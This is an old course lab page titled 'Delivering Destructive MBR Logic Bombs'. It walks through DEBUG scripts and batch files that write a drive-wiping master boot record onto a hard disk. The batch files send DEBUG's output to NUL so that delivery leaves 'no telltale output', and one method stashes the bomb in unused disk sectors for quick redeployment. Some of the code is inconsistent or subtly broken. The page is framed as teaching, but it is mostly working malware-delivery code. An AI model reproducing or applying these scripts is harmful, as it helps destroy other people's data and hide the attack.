Make your own free website on Tripod.com

Delivering Destructive MBR Logic Bombs

Materials:
Working complete PC
Blank Diskette
Student Diskette, "New Boot A Ver 2.0+"
Student CD-ROM, "Room 6359"
Objectives:
The student will become familiar with MBR installed logic bombs including:
designing an effective logic bomb,
building the logic bomb,
saving the logic bomb to a file,
deploying the logic bomb in the MBR.
Competency:
The student will how to design an effective logic bomb that will destroy all data on the HDD and then use DEBUGto create the logic bomb, save it to a file and deploy it in the MBR sector from the file. The student will then boot the PC allow the logic bomb to do its damage and then reboot to the student CD-ROM and check if it worked.

    Preparation

  1. Since the planned logic bomb will do largescale devastation to the target HDD, a ghost restore image will be placed on a lab PC for the purposes of development and testing of the logic bomb. It is highly destructive and should never be tested on a PC of any value.

  2. The MBR based logic bomb developed in the previous module is difficult to actually deliver (place into the MBR) by hand using DEBUG. In this exercise, two fast and easy deployment methods will be developed. Both are based on building sophisticated batch files on a bootable floppy diskette. Obviously, this can be transfered to a bootable USB device.

  3. Procedures

  4. After preparing a "guinea pig" PC and after saving the good MBR and the "bug" MBR from the last exercise, copy DEBUG.EXE and both MBR files to a bootable floppy diskette.

  5. A DEBUG script file will now be developed that can be redirected as the input file to the DEBUG command. These DEBUG "script" files contain all of the text input that tthe user would otherwise have to type into DEBUG at its prompts.

  6. If DEBUG were launched by picking up a logic bomb MBR file, then the commands entered into DEBUG would be:

    a 300
    mov ax, 301
    mov bx, 100
    mov cx, 1
    mov dx, 80
    int 13
    int 3
    
    g=300
    
    
  7. If the Q command were also given then DEBUG would end and return to the DOS prompt. This is often desirable otherwise the script hangs the PC within DEBUG. Start a "copy con" and name the script file "bug.scr" and enter the script commands in and end the copy con with a [Ctrl]+[Z]:

    A:\>copy con bug.scr
    a 100
    mov ax, 301
    mov bx, 100
    mov cx, 1
    mov dx, 80
    int 13
    int 3
    
    g=300
    q
    ^Z
      1 file(s) copied
    A:\>_
    

  8. The command that will then launch DEBUG while picking up the file BUG.MBR and automatically send the DEBUG script file to DEBUG which will then write it to the MBR is then:

    A:\>debug bug.mbr < bug.scr
    
    
  9. This can be placed within a batch file and the output can also be redirected to the NUL device which will prevent all of the DEBUG output to the screen effectively hiding the delivery completely:

    A:\>copy con putbug.bat
    @echo off
    debug bug.mbr < bug.scr > nul
    ^Z
      1 file(s) copied
    A:\>_
    
  10. Now by executing the batch file the BUG.MBR file will be placed into the first physical sector of the HDD automatically with no telltale output to the screen:

    A:\>putbug
    
    A:\>_
    
  11. This batch file requires the full name of the MBR file to be passed as a parameter aloowing to it put either the bug MBR or the real one:

    A:\>copy con putmbr.bat
    @echo off
    if %1z==z then goto help
    debug %1 < bug.scr > nul
    goto end
    :help
    echo Required parameter missing.
    :end
    ^Z
      1 file(s) copied
    A:\>_
    
  12. Run it like this:

    A:\>putmbr bug.mbr
    
    A:\>_
    
  13. Omitting the file name results in:

    A:\>putmbr
    Required parameter missing.
    A:\>_
    
  14. However, this batch file would allow you to specify ANY string of letters after the batch file's name and it would execute meaning it would write the random contents of RAM to the MBR. While this would do damage, a good expert could recognize that only the MBR was damaged and recover the contetns of the drive easily. This batch file will test for the existence of the MBR file before proceeding:

    A:\>copy con putmbr.bat
    @echo off
    if not exist %1 goto help
    debug %1 < bug.scr > nul
    goto end
    :help
    Cannot open file %1
    :end
    ^Z
      1 file(s) copied
    A:\>_
    
  15. As nice as this one is, an even more powerful approach is to hide the bug MBR on the hard drive itself and then have the batch file lift it and drop it back down on the MBR and vice versa: keep a spare good MBR that can be read up and written back down to the first physical sector as well. This would require setting up the two sector files in two unused sectors of the HDD. In this example the bug will be placed into the sector at Cylinder=0, Head=0 Sector=13 and the good one will be placed into the sector at Cyl=0 Head=0 Sector=7 using plain old DEBUG:

    A:\>debug bug.mbr
    -a 300
    0AFE:0100 mov ax, 301
    0AFE:0103 mov bx, 100
    0AFE:0105 mov cx, 0D
    0AFE:0107 mov dx, 80
    0AFE:0109 int 13
    0AFE:010B int 3
    0AFE:010D
    -g=300
    
    
  16. This loads the good MBR file into sector 7 of Cylinder=0 Head=0:

    A:\>debug hdd.mbr
    -a 300
    0AFE:0100 mov ax, 301
    0AFE:0103 mov bx, 100
    0AFE:0105 mov cx, 7
    0AFE:0107 mov dx, 80
    0AFE:0109 int 13
    0AFE:010B int 3
    0AFE:010D
    -g=300
    
    
  17. The problem is that a script must be constructed on the fly by a batch file using passed parameters in order to either read the bug from sector 13 and then write it to the MBR, or to read the good MBR from sector 7 and write it to the MBR. Here is the batch file that can do this:

    A:\>copy con mbrcopy.bat
    @echo off
    if %1==13 goto putbad
    rem else put good
    echo a 300 >> tmp.scr
    echo mov ax, 201 >> tmp.scr
    echo mov bx, 100 >> tmp.scr
    echo mov cx, 7 >> tmp.scr
    echo mov dx, 80 >> tmp.scr
    echo int 13 >> tmp.scr
    echo int 3 >> tmp.scr
    echo. >> tmp.scr
    echo g=300 >> tmp.scr
    echo a 300 >> tmp.scr
    echo mov ax, 301 >> tmp.scr
    echo mov bx, 100 >> tmp.scr
    echo mov cx, 1 >> tmp.scr
    echo. >> tmp.scr
    echo g=300 >> tmp.scr
    echo q >> tmp.scr
    :doit
    debug < tmp.scr > nul
    goto end
    :putbad
    echo a 300 >> tmp.scr
    echo mov ax, 201 >> tmp.scr
    echo mov bx, 100 >> tmp.scr
    echo mov cx, D >> tmp.scr
    echo mov dx, 80 >> tmp.scr
    echo int 13 >> tmp.scr
    echo int 3 >> tmp.scr
    echo. >> tmp.scr
    echo g=300 >> tmp.scr
    echo a 300 >> tmp.scr
    echo mov ax, 301 >> tmp.scr
    echo mov bx, 100 >> tmp.scr
    echo mov cx, 1 >> tmp.scr
    echo. >> tmp.scr
    echo g=300 >> tmp.scr
    echo q >> tmp.scr
    goto doit
    :end
    del tmp.scr
    ^Z
    
      1 file(s) copied
    A:\>_
    
  18. The astute observer will notice that there is only one single character different between the two scripts that this batch file creates. Namely the "mov cx, 7" versus the "mov cx, D" The batch file can be shortened using a user definable variable like this:

    A:\>copy con mbrcopy.bat
    @echo off
    if %1==13 goto putbad
    rem else put good
    set TMP=7
    goto doit
    :putbad
    set TMP=D
    :doit
    echo a 300 >> tmp.scr
    echo mov ax, 201 >> tmp.scr
    echo mov bx, 100 >> tmp.scr
    echo mov cx, %TMP% >> tmp.scr
    echo mov dx, 80 >> tmp.scr
    echo int 13 >> tmp.scr
    echo int 3 >> tmp.scr
    echo. >> tmp.scr
    echo g=300 >> tmp.scr
    echo a 300 >> tmp.scr
    echo mov ax, 301 >> tmp.scr
    echo mov bx, 100 >> tmp.scr
    echo mov cx, 1 >> tmp.scr
    echo. >> tmp.scr
    echo g=300 >> tmp.scr
    echo q >> tmp.scr
    debug < tmp.scr > nul
    del tmp.scr
    ^Z
    
      1 file(s) copied
    A:\>_
    
  19. This concludes the development of rapid and efficient methods of deploying the logic bomb on the hard drive.

Back to Page Top

Copyrightę2000-2006 Brian Robinson ALL RIGHTS RESERVED